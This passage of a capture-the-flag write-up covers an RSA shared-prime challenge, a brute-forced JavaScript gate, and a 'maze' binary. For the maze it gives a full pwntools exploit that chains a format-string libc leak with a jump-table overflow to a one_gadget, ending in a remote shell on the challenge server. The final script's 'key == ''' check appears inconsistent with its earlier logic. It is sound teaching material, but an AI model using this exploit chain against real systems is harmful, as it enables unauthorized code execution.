'0x4731344e37'
>>> '4731344e37'.decode('hex')
'G14N7'


The secret is b4ByG14N7.

Ran-Dee’s Secret Algorithm


The second to last task is a RSA crypto challenge:



We have got the 6 values n0, n1, n2, c1, c2 and c3.

Let’s start with a short review on RSA. n is the RSA modulus, which is calculated by multiplying two primes:

n = p * q

As the task description states, the list of available primes was quite small. Actually the size of the smallest odd prime, which is 3.

c is the cipher text, which is produced by raising the plain text (m) to the power of e (e is calculated beforehand but is usually equal to 65537) modulo n:

c = m**e % n

In order to be able to decrypt the message, we need to find the primes p and q. With those we can calculate the secret exponent d, which is used to decrypt a message:

m = c**d % n

Simply factorizing n0, n1 and n2 is quite hard, since the values are very big. Though, we know that there were only three primes involved, which means that n0, n1 and n2 need to share these primes as a factor.

In order to reveal those primes, we can simply calculate the greatest common divisor (gcd) of n0, n1 and n2:
root@kali:~/Documents/he19/egg22# python
Python 2.7.16 (default, Apr  6 2019, 01:42:57)
[GCC 8.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import gmpy2
>>> n0=10603199174122839808738169357706062732533966731323858892743816728206914395320609331466...
>>> n1=56133586686716136655665103829944414072194320629988325233058401869707803703682716186831...
>>> n2=43197226819995414250880489055413585390503681019180594772781599842207471693041753129885...
>>> p0=gmpy2.gcd(n0,n1)
>>> p0
mpz(1173821128899717744763168991586024137475923012574062580049287532012184965219319828285650431646942194944437493)
>>> p1=gmpy2.gcd(n0,n2)
>>> p1
mpz(9033062119150775356115605417902072538098631081058159551678022048966520848600866260935959311606867286026034943)
>>> p2=gmpy2.gcd(n1,n2)
>>> p2
mpz(4782124405899304514745349491894350894228449009067812460621545024973542842784947583120716593095450482771264061)


These are the three primes p0, p1 and p2.

Now we know that for example, that n0 = p0 * p1. In order to calculate the secret exponent d0, we have to calculate the modular invers of e modulo phi(n0):
>>> phi_n0 = (p0-1)*(p1-1)
>>> phi_n0
mpz(10603199174122839808738169357706062732533966731323858892743816728206914395320609331466257631...)
>>> e=65537
>>> d0=gmpy2.invert(e,phi_n0)
>>> d0
mpz(40588134592858947202620573824980086938840597431789927528306777890432406340755317804979478033...)



Using d0 we can finally decrypt the cipher text c0:
>>> c0=88389551551870299015700839894517562236934817747927372766618...
>>> gmpy2.powmod(c0,d0,n0)
mpz(516763741385810790760706298905075545750264045813156135838053)
>>> hex(516763741385810790760706298905075545750264045813156135838053)
'0x525341336e6372797074216f6e77216c6c6e65766572642165L'
>>> '525341336e6372797074216f6e77216c6c6e65766572642165'.decode('hex')
'RSA3ncrypt!onw!llneverd!e'


The plain text is RSA3ncrypt!onw!llneverd!e.

A mysterious gate


After having solved all previous tasks, we can step to the mysterious gate:



The gate requires use to enter 8 numbers. These numbers are used within the javascript code of the page in order to calculate the final flag. Though only if the result of the computation equals -502491864, the flag is actually correct and the gate is opened:
...
            function h(s) {
                return s.split("").reduce(function (a, b) {
                    a = ((a << 5) - a) + b.charCodeAt(0);
                    return a & a
                }, 0);
            }

            var ca = function (str, amount) {
                if (Number(amount) < 0)
                    return ca(str, Number(amount) + 26);
                var output = '';
                for (var i = 0; i < str.length; i++) {
                    var c = str[i];
                    if (c.match(/[a-z]/i)) {
                        var code = str.charCodeAt(i);
                        if ((code >= 65) && (code <= 90))
                            c = String.fromCharCode(((code - 65 + Number(amount)) % 26) + 65);
                        else if ((code >= 97) && (code <= 122))
                            c = String.fromCharCode(((code - 97 + Number(amount)) % 26) + 97);
                    }
                    output += c;
                }
                return output;

            };

            $('.door').click(function () {
                var n = [
                    $('#n1').val(),
                    $('#n2').val(),
                    $('#n3').val(),
                    $('#n4').val(),
                    $('#n5').val(),
                    $('#n6').val(),
                    $('#n7').val(),
                    $('#n8').val()
                ];

                var g = 'Um';
                var et = 'iT';
                var lo = 'BG';
                var st = '4I';

                var into = 'xr';
                var the = 'Xp';
                var lab = 'rr';
                var hahaha = 'Qv';

                var ok = ca('mj19', -5) + '<br>' +
                    ca(et, n[0]) +
                    ca(the, n[1]) + '<br>' +
                    ca(g, n[2]) +
                    ca(lo, n[3]) + '<br>' +
                    ca(st, n[4]) +
                    ca(hahaha, n[5]) + '<br>' +
                    ca(into, n[6]) +
                    ca(lab, n[7]);

                $('#key').html(ok);

                if (h(n.join('')) === -502491864) {
                    $('.door').toggleClass('what');
                }
            });


According to the quite small input fields, I hoped that the values are not very big and wrote a quick bruteforcer in javascript. Well, it worked out directly:



I was quite lucky with the chosen parameters for the loops (especially the -9 on the outer loop).

Finally entering the numbers in the input fields opens the gate:



The flag is he19-zKZr-YqJO-4OWb-auss.

23 – The Maze

The challenge description provides a binary called maze as well as an ip address and port of a server, which is running the binary:
root@kali:~/Documents/he19/egg23# file maze
maze: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.0.0, BuildID[sha1]=1a30ee698ef00862581bf5256a0d2ac6764c02d5, stripped

root@kali:~/Documents/he19/egg23# nc whale.hacking-lab.com 7331
...

Your position:





   +-----+-----+
               |
            X  |
               |
   +-----+-----+








Enter your command:
>

We can navigate through the maze by entering go <direction>:
> go west
Your position:





   +-----+-----+-----+
   |                 |
   |        X        |
   |                 |
   +     +-----+-----+
   |     |
   |     |
   |     |
   +     +




Enter your command:
>

We can also search for items by entering search:
> search
Your position:





   +-----+-----+-----+
   |                 |
   |        X        |
   |                 |
   +     +-----+-----+
   |     |
   |     |
   |     |
   +     +

There is nothing interesting here.


Enter your command:
> 

Let’s have a look at the binary using checksec:
root@kali:~/Documents/he19/egg23# checksec maze
[*] '/root/Documents/he19/egg23/maze'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

The binary is compiled without stack canaries and position independent code (PIE). NX is enabled, though.

We can further inspect the binary using radare2:
root@kali:~/Documents/he19/egg23# r2 -A maze
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x00400a60]>

… and start by listing all strings with the command iz:
[0x00400a60]> iz
[Strings]
Num Paddr      Vaddr      Len Size Section  Type  String
000 0x00002048 0x00402048  34  35 (.rodata) ascii There is nothing interesting here.
001 0x0000206b 0x0040206b  23  24 (.rodata) ascii You found a rusty nail.
002 0x00002088 0x00402088  37  38 (.rodata) ascii You found an arrow stuck in the wall.
003 0x000020b0 0x004020b0  77  78 (.rodata) ascii You found a map, but unfortunately someone else has already torn out a piece.
...
037 0x000023b0 0x004023b0  16  17 (.rodata) ascii You found a key!
038 0x000023c1 0x004023c1  25  26 (.rodata) ascii You found a locked chest!
039 0x000023db 0x004023db   9  10 (.rodata) ascii 2+!)b72HB
040 0x000023e5 0x004023e5  29  30 (.rodata) ascii Maybe you should search first
041 0x00002403 0x00402403  23  24 (.rodata) ascii You pick up the key: %s
042 0x00002420 0x00402420  41  42 (.rodata) ascii This is to heavy! You can't pick up that.
043 0x00002450 0x00402450  37  38 (.rodata) ascii There is nothing you want to pick up!
044 0x00002476 0x00402476   6   7 (.rodata) ascii -2',HB
045 0x00002480 0x00402480  45  46 (.rodata) ascii The chest is locked. Please enter the key:\n>
046 0x000024b0 0x004024b0  33  34 (.rodata) ascii Sorry but that was the wrong key.
047 0x000024d8 0x004024d8  57  58 (.rodata) ascii Congratulation, you solved the maze. Here is your reward:
048 0x00002514 0x00402514   7   8 (.rodata) ascii egg.txt


Obviously there seems to be a key, which we can find, as well as a locked chest, which requires this key to be entered.

By using the axt command we can determine where the string "Congratulation, ..." is used:
[0x00400a60]> axt @ str.Congratulation__you_solved_the_maze._Here_is_your_reward:
(nofunc) 0x401cc9 [DATA] mov edi, str.Congratulation__you_solved_the_maze._Here_is_your_reward:


The address of the string is moved to edi at 0x401cc9. Since radare does not recognize any function around this address, we can simply print the next 30 instructions by using the command pd:
[0x00400a60]> pd 30 @ 0x401cc9
            0x00401cc9      bfd8244000     mov edi, str.Congratulation__you_solved_the_maze._Here_is_your_reward: ; 0x4024d8 ; "Congratulation, you solved the maze. Here is your reward:"
            0x00401cce      e85decffff     call sym.imp.puts
            0x00401cd3      bf00040000     mov edi, 0x400              ; 1024
            0x00401cd8      e803edffff     call sym.imp.malloc
            0x00401cdd      488945e8       mov qword [rbp - 0x18], rax
            0x00401ce1      be12254000     mov esi, 0x402512
            0x00401ce6      bf14254000     mov edi, str.egg.txt        ; 0x402514 ; "egg.txt"
            0x00401ceb      e810edffff     call sym.imp.fopen
            0x00401cf0      488945e0       mov qword [rbp - 0x20], rax
        ,=< 0x00401cf4      eb16           jmp 0x401d0c
        |   ; CODE XREF from sub.e_0_0HYour_position:_61e (+0x706)
       .--> 0x00401cf6      488b45e8       mov rax, qword [rbp - 0x18]
       :|   0x00401cfa      4889c6         mov rsi, rax
       :|   0x00401cfd      bf1c254000     mov edi, 0x40251c
       :|   0x00401d02      b800000000     mov eax, 0
       :|   0x00401d07      e864ecffff     call sym.imp.printf
       :|   ; CODE XREF from sub.e_0_0HYour_position:_61e (+0x6d6)
       :`-> 0x00401d0c      488b55e0       mov rdx, qword [rbp - 0x20]
       :    0x00401d10      488b45e8       mov rax, qword [rbp - 0x18]
       :    0x00401d14      be00040000     mov esi, 0x400              ; 1024
       :    0x00401d19      4889c7         mov rdi, rax
       :    0x00401d1c      e89fecffff     call sym.imp.fgets
       :    0x00401d21      4885c0         test rax, rax
       `==< 0x00401d24      75d0           jne 0x401cf6
            0x00401d26      488b45e0       mov rax, qword [rbp - 0x20]
            0x00401d2a      4889c7         mov rdi, rax
            0x00401d2d      e80eecffff     call sym.imp.fclose
            0x00401d32      bf20254000     mov edi, str.Press_enter_to_return_to_the_menue ; 0x402520 ; "Press enter to return to the menue"
            0x00401d37      b800000000     mov eax, 0
            0x00401d3c      e82fecffff     call sym.imp.printf
            0x00401d41      488b05581420.  mov rax, qword [obj.stdout] ; [0x6031a0:8]=0
            0x00401d48      4889c7         mov rdi, rax

As we can see from the above output, a file called egg.txt is opened after printing the congratulation message (puts). Within a loop 0x400 bytes at a time are read from the file (fgets). If the fgets call succeeded, a call to printf is made. The first parameter passed in edi contains the format string stored at 0x40251c:

[0x00400a60]> ps @ 0x40251c
%s

… which simply outputs a string. This string is the second argument passed in rsi, which contains the address of the bytes formerly read by fgets. Summing it up this part of the code prints a congratulation message followed by the content of the file egg.txt (stored on the server).

Based on the other strings we have found, the assumption that we need to find the key and open the chest in order to reach this code is self-evident.

In order to find the key, we have to walk through the maze searching for it. I started by implementing a simple wall follower python script:
#!/usr/bin/env python

from pwn import *
import sys
import time

def getCmd(n):
  if   (n == 0): return 'go north'
  elif (n == 1): return 'go west'
  elif (n == 2): return 'go south'
  elif (n == 3): return 'go east'

p = process('./maze')
p.sendlineafter('>', 'scryh') # name
p.sendlineafter('>', '3')     # play
p.recvuntil('>')

heading = 0 # 0=north, 1=west, 2=south, 3=east
cur = heading
key = ''

while True:
  time.sleep(0.1) # for demonstration purpose
  p.sendline(getCmd(cur))
  ret = p.recvuntil('>')
  print(ret)
  print(getCmd(cur))
  if ('There is a wall!' in ret):
    if (cur == heading): heading = (heading - 1 ) % 4
    cur = heading
  else:
    heading = cur
    cur = (heading + 1) % 4


The script follows the wall on the left-hand side:



Now we need to add some code within the loop to search for the key and open the locked chest:
  ...
  p.sendline('search') # search for key / chest
  ret = p.recvuntil('>')
  if ('You found a key!' in ret):
    p.sendline('pick up')
    p.recvuntil('You pick up the key: ')
    key = p.recv(32)
    p.recvuntil('>')
  if ('You found a locked chest!' in ret and key != ''):
    p.sendline('open')
    p.recvuntil('The chest is locked. Please enter the key:\n> ')
    p.sendline(key)
    p.interactive()

In order to run the script on the server the following line:
p = process('./maze')

… needs to be replaced:
p = remote('whale.hacking-lab.com', 7331)

After running the script, we only have to wait until the key is found and the chest can be opened:
Congratulation, you solved the maze. Here is your reward:
                 *****
              ****   ****
            ***         ***
          ***             ***
        ***                 ***
      ***     ****   ****     ***
     **      ** *** **  **      **
    **           **   ***.       **
   **         .***  **  **        **
  **         ******  ****          **
 **                                 **
**        +-----------------+        **
*         | +--+ *  *  +--+ |         *
*         | |  |  ** * |  | |         *
*         | +--+ ** ** +--+ |         *
*         |  * **  ** *** * |         *
*         | * *  ** *** * * |         *
**        | +--+ * *  [] *  |        **
 *        | |  |  *** ** ** |        *
 **       | +--+ ** *** **  |       **
  **      +-----------------+      **
   **                             **
    ***                         ***
      ***                     ***
        ****               ****
           *****       *****
               *********
Press enter to return to the menue

Great! We have got the content of the egg.txt. Hm, but wait … what is this? For an actual QR code there are far too less pixel.

Trying to turn the ASCII QR code in some useful information did not succeed and until now the challenge felt far too easy for a hard challenge. I also wondered why the binary is provided, since we don’t really need it to implement a wall follower script like the above. Thus there must be more relating the binary.

Vulnerability 1: Buffer overflow


When analyzing the binary with r2, I noticed that the functions of the different menu entries ([1] Change User, [2] Help, …) are called through a jump table:
[0x00400a60]> pdf @ main
/ (fcn) main 318
|   main ();
|           ; var int local_14h @ rbp-0x14
|           ; var int local_10h @ rbp-0x10
|           ; var unsigned int local_1h @ rbp-0x1
|           ; DATA XREF from entry0 (0x400a7d)
|           0x00401e7a      55             push rbp
|           0x00401e7b      4889e5         mov rbp, rsp
|           0x00401e7e      4883ec20       sub rsp, 0x20
...
|     |`--> 0x00401f95      8b45ec         mov eax, dword [local_14h]
|     | :   0x00401f98      89c0           mov eax, eax
|     | :   0x00401f9a      488b04c56031.  mov rax, qword [rax*8 + sym.error] ; [0x603160:8]=0x400bba sym.error
|     | :   0x00401fa2      488945f0       mov qword [local_10h], rax
|     | :   0x00401fa6      488b45f0       mov rax, qword [local_10h]
|     | :   0x00401faa      ffd0           call rax
|     | :   ; CODE XREF from main (0x401f93)
|     `---> 0x00401fac      c745ec000000.  mov dword [local_14h], 0
\       `=< 0x00401fb3      e9f2feffff     jmp 0x401eaa


The user input (the number of the menu entry) is stored at [local_14h]. This number is multiplied by 8 (64-bit addresses) and added to the address of the jump-table (0x603160), which contains five function addresses:
[0x00400a60]> pxq @ 0x603160
0x00603160  0x0000000000400bba  0x0000000000400bde   ..@.......@.....
0x00603170  0x00000000004010e3  0x0000000000401656   ..@.....V.@.....
0x00603180  0x0000000000401e44  0x0000000000000000   D.@.............


Depending on the entered number, the corresponding function is called.

My first hope was that there might be a lacking or insufficient boundary check for the number to be entered, which would enable us to call address outside of the jump-table, but this was not the case.

Thus we need to keep analyzing the binary. Especially interesting are functions like fgets, which actually read data from the user. We can list all function calls to fgets by using the axt command again:
[0x00400a60]> axt @ sym.imp.fgets
sub.e_H_e_J_bde 0x400c27 [CALL] call sym.imp.fgets
(nofunc) 0x401758 [CALL] call sym.imp.fgets
(nofunc) 0x401c4e [CALL] call sym.imp.fgets
(nofunc) 0x401d1c [CALL] call sym.imp.fgets


By disassembling the code before the actual call, we can determine which parameters are passed to the function. The third call at 0x401c4e looks interesting:
[0x00400a60]> pd 15 @ 0x401c4e - 60
            0x00401c12      f4             hlt
            0x00401c13      0300           add eax, dword [rax]
            0x00401c15      0000           add byte [rax], al
        ,=< 0x00401c17      e985010000     jmp 0x401da1
        |   ; CODE XREF from sub.e_0_0HYour_position:_61e (+0x78e)
        |   0x00401c1c      bf80244000     mov edi, str.The_chest_is_locked._Please_enter_the_key: ; 0x402480 ; "The chest is locked. Please enter the key:\n> "
        |   0x00401c21      b800000000     mov eax, 0
        |   0x00401c26      e845edffff     call sym.imp.printf
        |   0x00401c2b      488b056e1520.  mov rax, qword [obj.stdout] ; [0x6031a0:8]=0
        |   0x00401c32      4889c7         mov rdi, rax
        |   0x00401c35      e8b6edffff     call sym.imp.fflush
        |   0x00401c3a      488b05671520.  mov rax, qword [obj.stdin]  ; [0x6031a8:8]=0
        |   0x00401c41      4889c2         mov rdx, rax
        |   0x00401c44      be28000000     mov esi, 0x28               ; '(' ; 40
        |   0x00401c49      bf40316000     mov edi, 0x603140           ; '@1`' ; "\n"
        |   0x00401c4e      e86dedffff     call sym.imp.fgets


This part of the code reads the key after the chest is opened. But notice the parameters to fgets: up to 0x28 are read to the address 0x603140. Remember that the jump-table is located at 0x603160? This means that the last 8 bytes of the data read from fgets will actually overflow the jump-table (overwriting the first address)!

In order to verify this, I added another 8 byte to the key (key-length: 32 byte = 0x20 byte):
    ...
    p.recvuntil('The chest is locked. Please enter the key:\n> ')
    p.sendline(key + 'A'*8) # added 8 byte
    p.interactive()


… and reran the script locally. After the congratulation message is displayed, we can verify the overflow by viewing the memory with gdb (I use gdb-peda):
root@kali:~/Documents/he19/egg23# gdb ./maze $(pidof maze)
Reading symbols from ./maze...(no debugging symbols found)...done.
Attaching to program: /root/Documents/he19/egg23/maze, process 8582
...
gdb-peda$ x/6xg 0x603160
0x603160:	0x0041414141414141	0x0000000000400bde
0x603170:	0x00000000004010e3	0x0000000000401656
0x603180:	0x0000000000401e44	0x0000000000000000

The first address of the jump-table has been overwritten with the value 0x0041414141414141. We can trigger a call to this function by entering 0 in the main menu:
[----------------------------------registers-----------------------------------]
RAX: 0x41414141414141 ('AAAAAAA')
RBX: 0x0
RCX: 0x7f3c7f25a804 (<write+20>:	cmp    rax,0xfffffffffffff000)
RDX: 0x0
RSI: 0x7f3c7f32d8c0 --> 0x0
RDI: 0x0
RBP: 0x7ffec3f673a0 --> 0x401fc0 (push   r15)
RSP: 0x7ffec3f67380 --> 0x401fc0 (push   r15)
RIP: 0x401faa (call   rax)
R8 : 0x7f3c7f32d8c0 --> 0x0
R9 : 0x7f3c7f332500 (0x00007f3c7f332500)
R10: 0x7f3c7f2dbae0 --> 0x100000000
R11: 0x246
R12: 0x400a60 (xor    ebp,ebp)
R13: 0x7ffec3f67480 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10297 (CARRY PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401f9a:	mov    rax,QWORD PTR [rax*8+0x603160]
   0x401fa2:	mov    QWORD PTR [rbp-0x10],rax
   0x401fa6:	mov    rax,QWORD PTR [rbp-0x10]
=> 0x401faa:	call   rax
   0x401fac:	mov    DWORD PTR [rbp-0x14],0x0
   0x401fb3:	jmp    0x401eaa
   0x401fb8:	nop    DWORD PTR [rax+rax*1+0x0]
   0x401fc0:	push   r15
No argument
[------------------------------------stack-------------------------------------]
0000| 0x7ffec3f67380 --> 0x401fc0 (push   r15)
0008| 0x7ffec3f67388 --> 0x400a60 (xor    ebp,ebp)
0016| 0x7ffec3f67390 --> 0x41414141414141 ('AAAAAAA')
0024| 0x7ffec3f67398 --> 0xa00000000000000 ('')
0032| 0x7ffec3f673a0 --> 0x401fc0 (push   r15)
0040| 0x7ffec3f673a8 --> 0x7f3c7f19409b (<__libc_start_main+235>:	mov    edi,eax)
0048| 0x7ffec3f673b0 --> 0x0
0056| 0x7ffec3f673b8 --> 0x7ffec3f67488 --> 0x7ffec3f6854c --> 0x4700657a616d2f2e ('./maze')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000401faa in ?? ()

The program raises a segmentation fault, since rax contains 0x41414141414141. Thus we successfully control the instruction pointer.

Since NX is enabled and the server is probably running ASLR, it is quite challenging to determine an address we could jump to. Luckily another vulnerability comes in handy here.

Vulnerability 2: Format String


When running the program, the first thing the user is supposed to do is entering his name. This felt quite strange, because the name did not seem to be used anywhere. Though, I could not spot an overflow vulnerability, where the name is read.

What also felt quite strange is the fact that the entered commands (e.g. go south) are XORed with 0x42 before being compared.

Along with r2 I usually use ghidra to keep track of the decompiled C source code. When browsing the C source code, the following part caught my attention:



The XORed string being compared here is ('5*-#/+HB'), which actually is the command …

root@kali:~/Documents/he19/egg23# python
>>> s = '5*-#/+HB'
>>> r = ''
>>> for c in s:
...   r+=chr(0x42^ord(c))
...
>>> r
'whoami\n\x00'
whomai.

And this command obviously outputs the entered username: printf(&DAT_00603200). The username string is the first parameter to the call to printf, which is the format string to be used. Thus we have a classical format string vulnerability! Let’s quickly verify this by inserting format specifiers in the name:
root@kali:~/Documents/he19/egg23# ./maze
Please enter your name:
> %p.%p.%p


Choose:
[1] Change User
[2] Help
[3] Play
[4] Exit
> 3

Your position:

   +-----+-----+
               |
               |
               |
   +-----+     +
         |     |
         |  X  |
         |     |
         +-----+








Enter your command:
> whoami
Your position:

   +-----+-----+
               |
               |
               |
   +-----+     +
         |     |
         |  X  |
         |     |
         +-----+





0x4025a7.0x4025af.0x7f87088a4804


Enter your command:
>

It works! We successfully leaked three addresses using the format specifier %p.

Forging the final exploit


Summing it up, the two vulnerabilities enable use to:
  • control the instruction pointer (buffer overflow)
  • leak register and stack values (format string vulnerability)


Actually the format string vulnerability could also be used to control the instruction pointer, though it is far more easy to use the buffer overflow for this purpose and leverage the format string vulnerability to leak addresses only.

As we have already pointed out, the binary is compiled with NX (we cannot directly executed shellcode on the stack or other writable segments) and ASLR is probably enabled on the server (we do not know address of e.g. the libc).

Thus the attack plan looks like this:
  • determine libc version on the sever by leaking a libc address (format string vulnerability)
  • calculate libc base address
  • calculate address of one gadget
  • overwrite jump-table with one gadget address (buffer overflow)
  • trigger one gadget by choosing 0 in the main menu


In order to determine the libc version, we need to leak a libc address. For this purpose the format string vulnerability can be used. At first let’s set a breakpoint on the vulnerable printf call:

root@kali:~/Documents/he19/egg23# gdb ./maze
Reading symbols from ./maze...(no debugging symbols found)...done.
gdb-peda$ b *0x401e17
Breakpoint 1 at 0x401e17
gdb-peda$


Now we run the program (r), enter some name (e.g. test), choose [3] Play and enter the command whoami in order to hit the breakpoint:
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7eca804 (<write+20>:	cmp    rax,0xfffffffffffff000)
RDX: 0x4025af --> 0x5b1b002165794200
RSI: 0x4025a7 ("5*-#/+HB")
RDI: 0x6031f0 --> 0x74736574 ('test')
RBP: 0x7fffffffe100 --> 0x7fffffffe130 --> 0x401fc0 (push   r15)
RSP: 0x7fffffffe0d0 --> 0x6031a0 --> 0x7ffff7f9c760 --> 0xfbad2a84
RIP: 0x401e17 (call   0x400970 <printf@plt>)
R8 : 0x7ffff7fa2500 (0x00007ffff7fa2500)
R9 : 0x7ffff7fa2500 (0x00007ffff7fa2500)
R10: 0x7ffff7fa2500 (0x00007ffff7fa2500)
R11: 0x246
R12: 0x400a60 (xor    ebp,ebp)
R13: 0x7fffffffe210 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401e0b:	jne    0x401e1e
   0x401e0d:	mov    edi,0x6031f0
   0x401e12:	mov    eax,0x0
=> 0x401e17:	call   0x400970 <printf@plt>
   0x401e1c:	jmp    0x401e2e
   0x401e1e:	mov    eax,0x0
   0x401e23:	call   0x400bba <error>
   0x401e28:	nop
Guessed arguments:
arg[0]: 0x6031f0 --> 0x74736574 ('test')
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe0d0 --> 0x6031a0 --> 0x7ffff7f9c760 --> 0xfbad2a84
0008| 0x7fffffffe0d8 --> 0x7ffff7f9c760 --> 0xfbad2a84
0016| 0x7fffffffe0e0 --> 0x7ffff7f982a0 --> 0x0
0024| 0x7fffffffe0e8 --> 0x7ffff7e4ff9d (<fflush+157>:	xor    edx,edx)
0032| 0x7fffffffe0f0 --> 0x0
0040| 0x7fffffffe0f8 --> 0x15f00000000
0048| 0x7fffffffe100 --> 0x7fffffffe130 --> 0x401fc0 (push   r15)
0056| 0x7fffffffe108 --> 0x401fac (mov    DWORD PTR [rbp-0x14],0x0)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0000000000401e17 in ?? ()
gdb-peda$


The first argument to the printf call is passed in RDI. This is the name we entered, which is used as the format string (in this case "test"). Leveraging this we can leak all following arguments, which are passed in the following order:
  • RSI
  • RDX
  • RCX
  • R8
  • R9
  • Stack …


This means that we can print the value of RSI by inserting the format specifier %1$p, RDX with %2$p, RCX with %3$p and so forth. The first item on the stack can thus be leaked with the format specifier %6$p.

Viewing the stack we can see that the second item on the stack is actually a libc address of the symbol _IO_2_1_stdout_:
gdb-peda$ x/xg 0x7ffff7f9c760
0x7ffff7f9c760 <_IO_2_1_stdout_>:	0x00000000fbad2a84


In order to leak this address we need to insert the format specifier %7$p:
root@kali:~/Documents/he19/egg23# ./maze 
Please enter your name:
> %7$p
Choose:
[1] Change User
[2] Help
[3] Play
[4] Exit
> 3
Your position:

   +     +
   |     |
   |     |
   |     |
   +     +-----+
   |           |
   |        X  |
   |           |
   +-----+-----+








Enter your command:
> whoami
Your position:

   +     +
   |     |
   |     |
   |     |
   +     +-----+
   |           |
   |        X  |
   |           |
   +-----+-----+





0x7f730e1b8760


Enter your command:
>

Since the stack position of this address on the server may vary, we need to verify this. I tried different offsets and used the libc database search to verify if the leaked address may be the symbol _IO_2_1_stdout_. Using the format specifier %10$p succeeded:
root@kali:~/Documents/he19/egg23# nc whale.hacking-lab.com 7331
Please enter your name:
> %10$p
Choose:
[1] Change User
[2] Help
[3] Play
[4] Exit
> 3
Your position:

               +     +
               |     |
               |     |
               |     |
         +-----+     +
         |           |
         |  X        |
         |           |
         +-----+-----+








Enter your command:
> whoami
Your position:

               +     +
               |     |
               |     |
               |     |
         +-----+     +
         |           |
         |  X        |
         |           |
         +-----+-----+





0x7f5823580620


Enter your command:
> 

The leaked address of the server is 0x7f5823580620. Using the libc database search we can determine that there are six possible libc versions:



The first three are i386 libc versions. Since this is a 64-bit binary, we can omit these and only have to focus on the three x64 versions.

In order to determine the address of all one gadgets within these libc versions, we start by downloading them from the database:



Now we can use the one_gadget tool in order to determine the offsets of all one gadgets:
root@kali:~/Documents/he19/egg23/libc# one_gadget libc6_2.23-0ubuntu10_amd64.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

Finally we can leverage the buffer overflow to try the different libc versions and one gadgets. In order to do this, we need to make a few adjustments to our former script:
#!/usr/bin/env python

from pwn import *
import sys
import re

# libc6_2.23-0ubuntu10_amd64.so
stdout_offset = 0x3c5620
oneg1 = 0x45216
oneg2 = 0x4526a # working !
oneg3 = 0xf02a4
oneg4 = 0xf1147


def getCmd(n):
  if   (n == 0): return 'go north'
  elif (n == 1): return 'go west'
  elif (n == 2): return 'go south'
  elif (n == 3): return 'go east'

p = remote('whale.hacking-lab.com', 7331)
p.sendlineafter('>', '(%10$p)') # name: leak libc address
p.sendlineafter('>', '3')       # play
p.sendlineafter('>', 'whoami')  # whoami
leak = p.recvuntil('>')
x = re.search('\((.*)\)', leak)
libc_leak = int(x.group()[1:-1], 16)
libc_base = libc_leak - stdout_offset
log.success('libc base: ' + hex(libc_base))
log.info('solving maze now ...')

heading = 0 # 0=north, 1=west, 2=south, 3=east
cur = heading
key = ''

while True:
  p.sendline(getCmd(cur))
  ret = p.recvuntil('>')
  #print(ret)
  #print(getCmd(cur))
  #if (key != ''): print('key: ' + key)
  if ('There is a wall!' in ret):
    if (cur == heading): heading = (heading - 1 ) % 4
    cur = heading
  else:
    heading = cur
    cur = (heading + 1) % 4

  p.sendline('search')
  ret = p.recvuntil('>')
  if ('You found a key!' in ret):
    p.sendline('pick up')
    p.recvuntil('You pick up the key: ')
    key = p.recv(32)
    p.recvuntil('>')
    log.success('found key: ' + key)
  if ('You found a locked chest!' in ret and key == ''):
    log.info('found chest! sending exploit ...')
    p.sendline('open')
    p.recvuntil('The chest is locked. Please enter the key:\n> ')
    p.sendline(key + p64(libc_base + oneg2))
    p.sendline('')  # enter -> main menu
    p.sendline('0') # 0 -> trigger one gadget
    p.recv(10000)
    p.recv(10000)
    p.recv(10000)
    p.interactive()

I was quite lucky, since the second one gadget (offset 0x4526a) in the first libc version I tried (libc6_2.23-0ubuntu10_amd64.so) worked immediately.

Running the script yields a shell on the server:
root@kali:~/Documents/he19/egg23# ./exploit.py
[+] Opening connection to whale.hacking-lab.com on port 7331: Done
[+] libc base: 0x7f56eb32c000
[*] solving maze now ...
[+] found key: ac85228aa5fea80c85e7213136d8a3c5
[*] found chest! sending exploit ...
[*] Switching to interactive mode
$ id
uid=1000(maze) gid=1000(maze) groups=1000(maze)
$ ls -al
drwxr-xr-x.  21 root root 4096 Apr 16 07:11 .
drwxr-xr-x.  21 root root 4096 Apr 16 07:11 ..
-rwxr-xr-x.   1 root root    0 Apr 16 07:11 .dockerenv
drwxr-xr-x.   2 root root 4096 Jan  5 12:47 bin
drwxr-xr-x.   2 root root    6 Apr 12  2016 boot
drwxr-xr-x.   5 root root  360 Apr 16 07:11 dev
-rw-r--r--.   1 root root  947 Mar 27 12:50 egg.txt
drwxr-xr-x.  53 root root 4096 Apr 16 07:11 etc
drwxr-xr-x.   3 root root   17 Feb 16 08:20 home
drwxr-xr-x.   9 root root 4096 Jan  5 12:47 lib
drwxr-xr-x.   2 root root   33 Jan 23  2018 lib64
drwxr-xr-x.   2 root root    6 Jan 23  2018 media
drwxr-xr-x.   2 root root    6 Jan 23  2018 mnt
drwxr-xr-x.   2 root root    6 Jan 23  2018 opt
dr-xr-xr-x. 510 root root    0 Apr 16 07:11 proc
drwx------.   4 root root   64 Mar 27 14:08 root
drwxr-xr-x.   5 root root   74 Jan  5 12:47 run
